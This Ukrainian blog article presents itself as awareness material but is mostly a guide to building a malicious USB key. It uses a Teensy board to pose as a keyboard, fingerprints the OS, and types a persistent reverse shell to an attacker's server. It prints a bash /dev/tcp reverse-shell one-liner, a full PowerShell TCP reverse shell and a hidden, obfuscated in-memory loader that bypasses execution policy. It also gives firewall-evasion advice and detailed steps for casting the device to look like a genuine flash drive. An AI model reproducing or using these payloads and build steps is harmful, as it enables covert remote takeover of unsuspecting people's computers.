Шкідливі USB-ключі: Як створюються та як захиститися

17.10.2024 2 хвилин Автор: Cyber Witcher

У цій статті розглянуто, як шкідливі USB-ключі використовуються для кібератак та які небезпеки вони несуть для користувачів і компаній. Дізнайтеся, як створюються такі USB-ключі, які види атак вони можуть здійснювати та як захистити свою систему від подібних загроз. Рекомендації з безпеки допоможуть мінімізувати ризики та зберегти ваші дані в безпеці.

  • Дисклеймер: Ця стаття підготовлена виключно з метою підвищення обізнаності та захисту від кіберзагроз. Уся інформація надана для легального та етичного використання, щоб допомогти користувачам і компаніям захистити свої системи та дані від потенційних атак. Використання цих знань повинно відбуватися лише у законних рамках з метою підвищення безпеки.

Розуміння шкідливих векторів атак USB

Існує три категорії шкідливих USB-ключів, кожна з яких має свої переваги та недоліки. Тому ключовим питанням є вибір типу атаки, що найкраще відповідає поставленій меті. У цьому випадку мета полягає у створенні ефективного ключа для дроп-атаки в межах обмеженого бюджету. Для цього варто коротко розглянути різні типи атак, а також їх сильні та слабкі сторони, щоб стало зрозуміло, чому HID-спуфінг є найбільш підходящим варіантом для зазначеного сценарію.

Три типи атак

Три типи атак, які здійснюються через USB-ключі, зображені на ілюстрації вище, це:

Соціальна інженерія : тут використовується типовий USB-ключ, який містить файли HTML. Він підманює користувача для його логіна та пароля, коли користувач натискає файли.

Підробка HID (Human Interface Device) : ключі HID-спуфінгу використовують спеціальне обладнання для того, щоб обманути комп’ютер, змусивши його розпізнати USB-пристрій як клавіатуру. Ця “клавіатура” автоматично вводить певні команди, щойно пристрій підключається. Команди спрямовані на компрометацію комп’ютера жертви. У подальшій частині статті буде описано, як можна створити HID-пристрій, який за допомогою TCP-з’єднання надає зловмиснику повний дистанційний доступ до системи жертви.

Що стосується 0-day ключів, є припущення, що вони використовують спеціальне обладнання для експлуатації вразливостей в драйверах USB, щоб отримати прямий доступ до комп’ютера одразу після підключення. Однак, публічна інформація про такі атаки відсутня.

Сильні та слабкі сторони

Щоб оцінити, який тип атаки найкраще підходить для атаки з відкиданням, ми оцінили сильні та слабкі сторони в чотирьох областях, зазначених у таблиці вище. Ось коротке обговорення компромісів.

Складність і вартість: Перш за все, варто врахувати, наскільки важко та дорого створити кожен тип USB-ключа. Ключі, що базуються на соціальній інженерії, є найбільш простими у виготовленні, оскільки використовують прості файли HTML. HID-ключі мають середню складність, оскільки потрібно не лише програмування обладнання, але й його відповідне налаштування. Ключі 0-day є найбільш складними, оскільки вимагають використання вразливостей та складного кодування.

Надійність: Соціальна інженерія менш надійна, оскільки вимагає участі користувача, який має не тільки підключити USB, але й взаємодіяти з файлом. HID-ключі можуть бути значно надійнішими, оскільки атака починається автоматично при підключенні пристрою. Ключі 0-day, найімовірніше, забезпечують високу надійність для певної версії операційної системи.

Прихованість: Соціальна інженерія є помітною через наявність HTML-файлів, тоді як атака через HID швидка і менш очевидна, хоча й помітна на короткий час. Ключі 0-day є найбільш прихованими, оскільки працюють на рівні драйвера.

Кросплатформенність: Соціальні атаки є універсальними, оскільки HTML розуміють різні ОС. HID-ключі також можуть бути адаптовані для кількох платформ, але це потребує додаткових зусиль. Атаки 0-day обмежені певною версією операційної системи, що знижує їх кросплатформенність.

Чому спуфінг HID – це правильний шлях

Загалом очевидно, що ключі підробки HID пропонують найкращий компроміс між надійністю, вартістю та складністю для атаки з відкиданням. Ось чому для Blackhat я зосередився на створенні максимально надійного та реалістичного пристрою HID.

Складнощі практичної атаки на основі HID

Створення шкідливих USB-ключів HID, хоча й не нове, має свою історію. Перший публічний приклад був продемонстрований Адріаном Креншоу на Defcon 18 у 2010 році. Однак до недавнього часу HID-пристрої переважно використовувалися зловмисниками або для тестування безпеки, і не були призначені для того, щоб їх просто залишали в громадських місцях для потенційних жертв. Ця зміна підходу змусила розробити нові методи вирішення ряду технічних проблем.

Кросплатформність: Під час дроп-атаки неможливо передбачити, до якого саме комп’ютера буде підключено пристрій, тому він повинен працювати на якомога більшій кількості операційних систем. Складність полягає в тому, що клавіатури та інші HID-пристрої зазвичай не взаємодіють безпосередньо з ОС, тому довелося використовувати методи визначення операційної системи комп’ютера жертви для правильної роботи.

Створення нестійкої зворотної оболонки: Зазвичай час між тим, як пристрій буде залишено та підключено до комп’ютера, є непередбачуваним, але зазвичай досить коротким. Тому необхідно забезпечити постійний спосіб дистанційного доступу до скомпрометованої системи в будь-який момент. Крім того, корисне навантаження повинно враховувати можливість відсутності підключення комп’ютера до Інтернету під час підключення ключа, тому воно повинно періодично намагатися встановити з’єднання. Використання сценаріїв для встановлення вихідного з’єднання є найкращим варіантом, щоб уникнути виявлення антивірусними програмами чи брандмауерами

Одним із найбільш захопливих завдань під час розробки шкідливого HID-ключа стало знаходження способу замаскувати пристрій під реалістичний USB-ключ. Як видно з попередніх проєктів, використовувалися пристрої, які мали мало спільного з реалістичним зовнішнім виглядом USB-ключа. Тому виникла потреба розробити абсолютно новий підхід до приховування апаратного забезпечення. Важливо зазначити, що на ринку існує пристрій під назвою Rubber Ducky, який має реалістичний вигляд. Однак мова сценаріїв цього пристрою має обмежені можливості для більш складних завдань, таких як зняття відбитків пальців, і не дозволяє змінювати зовнішній вигляд, що не відповідає вимогам нашого проєкту.

Обладнання

Після проведених досліджень було вирішено використовувати апаратну платформу Teensy 3.2, як і в багатьох попередніх проєктах. Teensy 3.2 пропонує вбудовану емуляцію клавіатури та можливість низькорівневого програмування, що робить його ідеальним вибором. Окрім того, він має низьку вартість і сумісний із Arduino, що забезпечує доступ до зручного середовища розробки. Додатковою перевагою є широкі можливості для налаштування, які Teensy пропонує, що дозволяє створювати ще складніші ключі для атак. Альтернативним варіантом був Rubber Ducky, але його обмежені можливості сценаріїв і недостатня гнучкість не відповідали вимогам цього проєкту.

Огляд атаки

Компрометація комп’ютера за допомогою пристрою HID виконується в три етапи, як показано на схемі вище. Ці три фази:

  1. Перевірка завантаження HID-пристрою : Перший етап полягає в тому, щоб переконатися, що ключ розпізнається ОС і що USB-драйвер завантажено. Це важливо для надійності, оскільки видача команд до завантаження драйвера призведе до того, що ці команди будуть втрачені та ніколи не виконуватимуться.

  2. Відбитки ОС : те, що потрібно ввести, щоб скомпрометувати комп’ютер, залежить від його ОС. Оскільки ми не маємо жодних апріорних знань про те, до якого типу комп’ютера підключено ключ, нам потрібно виконати відбитки ОС, щоб вирішити, які команди виконувати.

  3. Виконання зворотної оболонки : останній етап передбачає введення натискань клавіш, які сформують команди, необхідні для створення фонової зворотної оболонки TCP, яка підключатиметься до сервера, вибраного зловмисником.

Код, розроблений для надійного виконання атаки на MacOS (OS X) та Windows, був опублікований на GitHub. У файлі README надані інструкції щодо налаштування зворотної оболонки для підключення до вашого командно-контрольного сервера (CC) та завантаження коду на ваш USB-ключ. Для стабільного проходження трафіку через брандмауери рекомендовано використовувати порти 80 або 443, оскільки вони зазвичай залишаються відкритими для HTTP-з’єднань.

Зняття відбитків пальців

 Одним із основних викликів була необхідність подолати обмеження попередніх розробок, які фокусувалися на одній операційній системі одночасно. Оскільки неможливо передбачити, яка ОС використовується на комп’ютері-жертві під час атаки, це стало ключовою проблемою. Протокол HID не був розроблений для взаємодії з ОС, тому в ньому немає вбудованих функцій, які б дозволяли визначити, на якій операційній системі працює комп’ютер.

bool fingerprint_windows(void) {
  int status1 = 0; //LED status before toggle
  int status2 = 0; //LED status after toggle
  unsigned short sk = SCROLLLOCK;

  // Get status
  status1 = ((keyboard_leds sk) == sk) ? 1 : 0;
  delay(DELAY);


  //Asking windows to set SCROLLLOCK
  win_open_execute();
  type_command("powershell -Command \"(New-Object -ComObject WScript.Shell).SendKeys('{SCROLLLOCK}')\"");
  delay(DELAY);

  // Get status
  status2 = ((keyboard_leds sk) == sk) ? 1 : 0;
  is_done();

  if (status1 != status2) {
    return true;
  } else {
    return false;
  }
}

На початку дослідження я звернув увагу на презентацію на Blackhat, де обговорювалися можливості використання протоколу USB для зняття відбитків пальців з метою ідентифікації операційної системи. Однак цей метод був занадто низькорівневим і не викликав впевненості в тому, що працюватиме на всіх ОС. Попри це, я планував його впровадити, не маючи кращого варіанту, коли мій колега Жан-Мішель запропонував більш простий і гнучкий підхід. Його ідея полягала у використанні сповіщень, які клавіатура отримує при перемиканні стану клавіш, наприклад, клавіші num lock. Це дозволяє визначити, яка операційна система працює на комп’ютері.

Я вирішив реалізувати цю ідею за допомогою PowerShell, який доступний лише на Windows, для перевірки, чи підключено пристрій до цієї ОС. Експерименти показали, що метод працює дуже надійно і не спричиняє збоїв в OS X. Крім того, цей підхід можна легко розширити для більш точної ідентифікації версій ОС. Наприклад, можна розрізняти Windows 10 і Windows 8, перемикаючи різні клавіші (наприклад, Caps Lock для Windows 8 і Num Lock для Windows 10), а потім використовувати код на Teensy для доставки відповідного корисного навантаження.

Отримати версію операційної системи також не є складним завданням за допомогою команди PowerShell: [System.Environment]::OSVersion.Version. Така гнучкість, простота та надійність цього методу переконали мене зупинитися на ньому, а не використовувати низькорівневий метод зняття відбитків пальців через USB. Хоча в майбутньому такий підхід може бути корисним для розробки 0-day ключів для кількох ОС одночасно.

Створення зворотної оболонки

Метою корисного навантаження є створення зворотної оболонки TCP, яка повертається до сервера, обраного зловмисником. Як обговорювалося раніше, це дійсно все, що вам потрібно, і через його відносну простоту (це лише TCP-з’єднання, яке прив’язує оболонку), його можна зробити надзвичайно маленьким і, отже, надшвидким для друку Teensy. Три кроки для цього показано на схемі вище.

Примітка : у зворотному шелл-коді не використовується жодна форма шифрування (наприклад, SSL), оскільки ця робота призначена лише для освітніх і тестових цілей. Відсутність шифрування робить атаку легкою для виявлення та моніторингу через мережевий трафік, що є запланованою поведінкою.

MacOS – OSX

(nohup bash -c \"while true;do bash -i /dev/tcp/IP/PORT 01 21; sleep 1;done\" 1/dev/null )

Створення зворотної оболонки для OS X і Linux виявилося простішим, ніж очікувалося. Спочатку планувалося написати її на Python, але було знайдено шпаргалку від pentestmonkey з однорядковою зворотною оболонкою на Bash. Цей підхід базується на можливості Bash створювати TCP-з’єднання, що є маловідомим фактом.

Код був розширений таким чином, що зворотна оболонка Bash запускається як фоновий процес для її прихованої роботи. Також було додано механізм перезапуску для забезпечення постійної роботи. У результаті з’явилася компактна, 100-символьна зворотна оболонка з постійною пам’яттю, що працює як в OS X, так і в Linux.

Вікна

Process {
$modules=@()
$c=New-Object System.Net.Sockets.TCPClient("IP",PORT)
$s=$c.GetStream()
[byte[]]$b=0..20000|%{0}
$d=([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user "+$env:username+" on "+$env:computername+"`nEnjoy!.`n`n")
$s.Write($d,0,$d.Length)
$d=([text.encoding]::ASCII).GetBytes("PS "+(Get-Location).Path+"")
$s.Write($d,0,$d.Length)
while(($i=$s.Read($b,0,$b.Length)) -ne 0)
{
$E=New-Object -TypeName System.Text.ASCIIEncoding
$D=$E.GetString($b,0,$i)
$k=(Invoke-Expression -Command $d 21 | Out-String)
$l=$k+"PS "+(Get-Location).Path+" "
$x=($error[0] | Out-String)
$error.clear()
$l=$l+$x
$d=([text.encoding]::ASCII).GetBytes($l)
$s.Write($d,0,$d.Length)
$s.Flush()
}
$c.Close()
}

Для Windows процес створення зворотної оболонки є більш складним через відсутність можливостей Bash. У цьому випадку потрібно написати власний код для зворотної оболонки. Спираючись на дослідження Бена Тернера та Дейва Харді над проектом powerfun, разом із Жаном Мішелем було створено максимально компактну реверсну оболонку на основі PowerShell.

powershell -exec bypass -nop -W hidden -noninteractive -Command \"
{
  $s=New-Object IO.MemoryStream(
    ,[Convert]::FromBase64String('...BASE64_GZ_POWERSHELL_REVERSE_SHELL...')
  );
  $t=(New-Object IO.StreamReader(
    New-Object IO.Compression.GzipStream(
      $s,[IO.Compression.CompressionMode]::Decompress)
    )
  ).ReadToEnd();
  IEX $t
}
\";exit

Наш стислий код PowerShell використовується у зовнішньому корисному навантаженні, показаному вище. Це зовнішнє корисне навантаження розпаковує зворотну оболонку, вводить її в пам’ять і знову виконує у фоновому процесі за допомогою PowerShell. Завдяки стисненню ми отримуємо зворотну оболонку 1604 символів у Windows. Він не такий маленький, як для OS X, але, безперечно, достатньо малий, щоб його миттєво вставив Teensy.

Створення реалістичного ключа

Останнім і, мабуть, найцікавішим завданням було те, як сховати Teensy у реалістичний ключ. Ви не можете очікувати, що люди підключать дивну електронну плату до свого комп’ютера! Після купи експериментів здається, що найпростіший спосіб замаскувати Teensy — це створити реалістичну зовнішню оболонку зі смоли, яка виліплена зі справжнього USB. Ось як це зробити.

Додавання роз’єму USB типу A

Перший крок — додати роз’єм типу A до Teensy. Використання стандартного адаптера не допоможе, оскільки він занадто громіздкий і занадто довгий, як видно на знімку екрана вище. Правильним рішенням буде просто припаяти роз’єм безпосередньо до задньої панелі Teensy. Як видно на фото нижче, з роз’ємом типу А, припаяним безпосередньо до Teensy, ми наближаємось до справжнього ключа!

Примітка. Вам не потрібно від’єднувати вбудований мікро-USB. Тільки будьте обережні, щоб припаяти роз’єм у правильному напрямку. Ви дійсно не хочете інвертувати VUSB і землю. Також не використовуйте дроти: Data+ і Data- повинні мати правильну довжину, а це складно з проводами.

Створення форми зі справжнього USB-ключа

Другим етапом є створення силіконової форми для справжнього USB-ключа. Підійде будь-який ключ, якщо його розмір дозволяє вмістити Teensy. У цьому випадку використаний ключ мав достатній розмір, але був трохи вузьким, що вимагало додаткової обережності під час нанесення смоли на Teensy, щоб залишити конструкцію непомітною. Важливо також уникати використання ключів із кремнієвою оболонкою, оскільки матеріал має прогумований вигляд, і формування силікону на силікон може створити непотрібні ускладнення.

Перший крок у створенні форми полягає в змішуванні силікону до отримання густої фіолетової речовини, як це показано на фотографіях. Для цього використовувався набір матеріалів, придбаних у Hobby Silicone, який включав силікон для форми, смолу та барвник. Було обрано стартовий набір Silicone Firm/Resin, який виявився досить ефективним для цього завдання, хоча й інші бренди можуть також підійти для створення подібної форми.

Наступний крок, показаний вище, полягає в тому, щоб прикріпити ключ до дерев’яного бруска за допомогою затискача та повісити його в пластиковий стакан. Це гарантує, що ключ залишається на місці, поки форма твердне.

Останнім етапом є заливання силікону в стакан і очікування його повного затвердіння протягом 24 годин. Важливим моментом є видалення повітря з силікону, інакше в готовій формі можуть з’явитися бульбашки, що зіпсують зовнішній вигляд ключа. Існує два основні способи видалення повітря: вакуумування силікону перед заливанням або наливання його тонким струменем зверху. Було обрано другий варіант, і він дав майже ідеальний результат — лише кілька бульбашок вплинули на зовнішній вигляд нижньої частини ключа.

Лиття смоляної оболонки

Все, що залишилося зробити, це залити смоляну оболонку навколо Teensy, щоб замаскувати її. Застереження: будьте особливо обережні під час маніпуляцій зі смолою та ніколи не допускайте її контакту зі шкірою, оскільки це може викликати опіки. Одягніть рукавички та лабораторний халат, щоб захистити себе.

Як і у випадку з силіконом, смолу також потрібно ретельно змішувати, але важливо змішувати лише необхідну кількість для виготовлення одного ключа за раз, оскільки після початку змішування смола почне швидко застигати. Найкращим рішенням виявилося використання трьох 10-кубових шприців: по одному для кожного полімеру та одного для кольору. Після кількох спроб було визначено, що пропорції 8 см³ кожного полімеру та 2 см³ барвника забезпечують оптимальний результат для створення одного ключа.

Залиття оболонки просте:

  1. Спочатку змішайте три компоненти.

  2. Завантажте змішану смолу в четвертий шприц.

  3. Введіть смолу в силіконову форму, поки вона майже не заповниться.

  4. Вставте Teensy у форму і дайте йому застигнути приблизно 30 хвилин.

Якщо все зробити правильно, смола витече. Не хвилюйтеся, оскільки надлишки смоли дуже легко видалити ножем, як показано на фото вище.

Кілька важливих недоліків, які слід врахувати: процес вимагає терпіння. Якщо ключ витягнути з форми занадто рано, його зовнішній вигляд буде далеким від оптимального, і він може зламатися, як це сталося на фото. Крім того, як показано на фото, біла смола не забезпечує належного вигляду і не приховує достатньо елементів Teensy, особливо якщо використовувати вузький ключ. Тому рекомендовано додати барвник. Чорний колір, що був використаний для смоли, працював відмінно, але й інші кольори можуть також підійти для досягнення бажаного ефекту.

Ще одна помилка — не використовувати мастило. Вам це не потрібно. Форма дуже гнучка, і мастило може зіпсувати зовнішній вигляд клавіш, як видно на фото вище.

Якщо всі етапи були виконані правильно, результатом стане реалістичний ключ, який візуально майже не відрізняється від оригіналу, використаного для форми, як видно на фото. Єдиною ознакою, що це підробка, може бути те, що роз’єм USB не розташований ідеально по центру, оскільки він не вирівняний з корпусом Teensy. У всьому іншому ключ виглядає дуже міцним, зручним у руці, і його важко відрізнити від справжнього USB-ключа.

Підписатися
Сповістити про
0 Коментарі
Найстаріші
Найновіше Найбільше голосів
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.